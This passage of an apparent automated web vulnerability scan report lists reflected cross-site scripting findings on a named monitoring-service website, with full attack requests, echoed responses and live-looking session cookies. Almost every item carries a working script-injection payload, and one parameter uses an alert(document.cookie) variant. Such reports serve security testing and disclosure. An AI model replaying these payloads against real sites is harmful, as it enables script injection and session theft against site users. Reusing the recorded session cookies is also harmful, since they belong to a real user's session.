Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fr8a1a4"><script>alert(1)</script>c0f84162fa5/learn_more.php" method="post">
...[SNIP]...

1.618. http://www.watchmouse.com/fr/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b38ae"><script>alert(1)</script>3996de4c4ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/learn_more.phpb38ae"><script>alert(1)</script>3996de4c4ee HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-1deabc1eff11deab31ac7e37c1a32582"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13525

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/learn_more.phpb38ae"><script>alert(1)</script>3996de4c4ee" method="post">
...[SNIP]...

1.619. http://www.watchmouse.com/fr/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dec2"><script>alert(1)</script>06ec13112a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/learn_more.php?9dec2"><script>alert(1)</script>06ec13112a9=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:44 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:08:45 GMT
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/learn_more.php?9dec2"><script>alert(1)</script>06ec13112a9=1" method="post">
...[SNIP]...

1.620. http://www.watchmouse.com/fr/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7be5b"><script>alert(1)</script>540718cc860 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fr7be5b"><script>alert(1)</script>540718cc860/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-759719879a47ce6d5e21332f64679a8e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fr7be5b"><script>alert(1)</script>540718cc860/plans_price.php" method="post">
...[SNIP]...

1.621. http://www.watchmouse.com/fr/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19e0b"><script>alert(1)</script>6b17afa84b5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/plans_price.php19e0b"><script>alert(1)</script>6b17afa84b5 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-db3d563554ac0e2e4e6058e2a7f097e8"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13534

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/plans_price.php19e0b"><script>alert(1)</script>6b17afa84b5" method="post">
...[SNIP]...

1.622. http://www.watchmouse.com/fr/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 921a1"><script>alert(1)</script>8cd8928a867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/plans_price.php?921a1"><script>alert(1)</script>8cd8928a867=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-bc621a7923eeda7116213e0d493b6376"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 62935

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/plans_price.php?921a1"><script>alert(1)</script>8cd8928a867=1" method="post">
...[SNIP]...

1.623. http://www.watchmouse.com/fr/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5250b"><script>alert(1)</script>2f139ca9dcd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fr5250b"><script>alert(1)</script>2f139ca9dcd/register.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e410a2a627f3284430ee209709af2c3f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fr5250b"><script>alert(1)</script>2f139ca9dcd/register.php" method="post">
...[SNIP]...

1.624. http://www.watchmouse.com/fr/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0af3"><script>alert(1)</script>5a821d50b04 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/register.phpf0af3"><script>alert(1)</script>5a821d50b04 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-8ab92156b782f5d2c1835cc2fbe34ded"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13507

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/register.phpf0af3"><script>alert(1)</script>5a821d50b04" method="post">
...[SNIP]...

1.625. http://www.watchmouse.com/fr/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ece51"><script>alert(1)</script>a00884a751f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/register.php?vpackid=35&ece51"><script>alert(1)</script>a00884a751f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-611d7c2d27726a9826081e50484dfd62"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27510

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&ece51"><script>alert(1)</script>a00884a751f=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.626. http://www.watchmouse.com/fr/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc50e"><script>alert(1)</script>fefdf02032f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /frdc50e"><script>alert(1)</script>fefdf02032f/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0fa0dfb2ad1851216ffbd7b35b2bacdc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/frdc50e"><script>alert(1)</script>fefdf02032f/website_monitoring_features.php" method="post">
...[SNIP]...

1.627. http://www.watchmouse.com/fr/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31162"><script>alert(1)</script>b33ef7a9d39 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/website_monitoring_features.php31162"><script>alert(1)</script>b33ef7a9d39 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-ecc6ddabeffffe34554a333296d2e8e7"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/website_monitoring_features.php31162"><script>alert(1)</script>b33ef7a9d39" method="post">
...[SNIP]...

1.628. http://www.watchmouse.com/fr/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b582e"><script>alert(1)</script>012e9e0ab0b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/website_monitoring_features.php?b582e"><script>alert(1)</script>012e9e0ab0b=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-f7cf2f0b03059b972fe130f68ebdd395"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31545

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/website_monitoring_features.php?b582e"><script>alert(1)</script>012e9e0ab0b=1" method="post">
...[SNIP]...

1.629. http://www.watchmouse.com/it/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 511d6"><script>alert(1)</script>4d9c68409ae was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1511d6"><script>alert(1)</script>4d9c68409ae HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:25 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-b9a94ab69743e5b71fa37291c075ed3c"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1511d6"><script>alert(1)</script>4d9c68409ae" method="post">
...[SNIP]...

1.630. http://www.watchmouse.com/it/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2ba3"><script>alert(1)</script>03e526316f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /itf2ba3"><script>alert(1)</script>03e526316f/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-76ee19b28a5b3f597dfcbd2b2776b99b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/itf2ba3"><script>alert(1)</script>03e526316f/" method="post">
...[SNIP]...

1.631. http://www.watchmouse.com/it/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ee6a"><script>alert(1)</script>48690ceb28a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/?7ee6a"><script>alert(1)</script>48690ceb28a=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-ff10bdaa89b60614ed28d19f67da7c95"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18846

